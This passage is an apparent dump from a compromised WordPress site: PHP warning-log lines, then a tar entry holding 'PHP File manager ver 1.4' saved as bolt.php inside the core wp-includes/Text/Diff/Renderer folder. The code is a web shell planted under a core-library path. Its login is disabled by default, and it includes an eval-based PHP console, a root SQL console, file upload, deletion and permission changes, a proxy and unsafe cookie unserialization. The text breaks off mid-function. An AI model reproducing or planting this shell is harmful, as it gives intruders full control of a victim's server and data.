[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
